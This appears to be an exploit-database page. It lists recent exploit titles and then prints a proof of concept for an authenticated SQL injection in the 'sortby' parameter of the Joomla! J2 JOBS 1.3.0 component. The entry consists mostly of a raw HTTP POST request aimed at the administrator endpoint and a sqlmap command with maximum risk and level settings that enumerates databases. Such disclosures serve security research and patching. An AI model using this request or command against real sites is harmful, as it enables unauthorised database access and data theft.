8f6367cf98
8 changes to exploits/shellcodes Sony Playstation 4 (PS4) < 7.02 / FreeBSD 9 / FreeBSD 12 - 'ip6_setpktopt' Kernel Local Privilege Escalation (PoC) Microsoft Windows mshta.exe 2019 - XML External Entity Injection BIG-IP 15.0.0 < 15.1.0.3 / 14.1.0 < 14.1.2.5 / 13.1.0 < 13.1.3.3 / 12.1.0 < 12.1.5.1 / 11.6.1 < 11.6.5.1 - Traffic Management User Interface 'TMUI' Remote Code Execution BIG-IP 15.0.0 < 15.1.0.3 / 14.1.0 < 14.1.2.5 / 13.1.0 < 13.1.3.3 / 12.1.0 < 12.1.5.1 / 11.6.1 < 11.6.5.1 - Traffic Management User Interface 'TMUI' Remote Code Execution (PoC) Sickbeard 0.1 - Remote Command Injection Online Shopping Portal 3.1 - 'email' SQL Injection Joomla! J2 JOBS 1.3.0 - 'sortby' Authenticated SQL Injection BSA Radar 1.6.7234.24750 - Authenticated Privilege Escalation
31 lines
No EOL
1.3 KiB
Text
31 lines
No EOL
1.3 KiB
Text
# Exploit Title: Joomla! J2 JOBS 1.3.0 - 'sortby' Authenticated SQL Injection
|
|
# Date: 2020-06-17
|
|
# Exploit Author: Mehmet Kelepçe / Gais Cyber Security
|
|
# Vendor Homepage: https://joomsky.com/
|
|
# Software Link: https://joomsky.com/products/js-jobs-pro.html
|
|
# Change Log (Update) : https://joomsky.com/products/js-jobs.html
|
|
# Version: 1.3.0
|
|
# Tested on: Kali Linux - Apache2
|
|
|
|
Vulnerable param: sortby
|
|
-------------------------------------------------------------------------
|
|
POST /joomla/administrator/index.php HTTP/1.1
|
|
Host: localhost
|
|
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
|
Accept-Language: en-US,en;q=0.5
|
|
Accept-Encoding: gzip, deflate
|
|
Referer: http://localhost/joomla/administrator/index.php
|
|
Content-Type: application/x-www-form-urlencoded
|
|
Content-Length: 233
|
|
Connection: close
|
|
Cookie: COOKIES
|
|
Upgrade-Insecure-Requests: 1
|
|
|
|
js_sortby=4&companyname=12&jobtitle=12&location=12&jobcategory=&jobtype=&datefrom=&dateto=&option=com_jsjobs&task=&c=job&view=job&callfrom=jobqueue&layout=jobqueue&sortby=asc&my_click=&boxchecked=0&d90ced5aa929447644f09b56c8d8ba12=1
|
|
|
|
|
|
-------------------------------------------------------------------------
|
|
sqlmap poc:
|
|
|
|
sqlmap -r jsjobs --dbs --risk=3 --level=5 --random-agent -p sortby |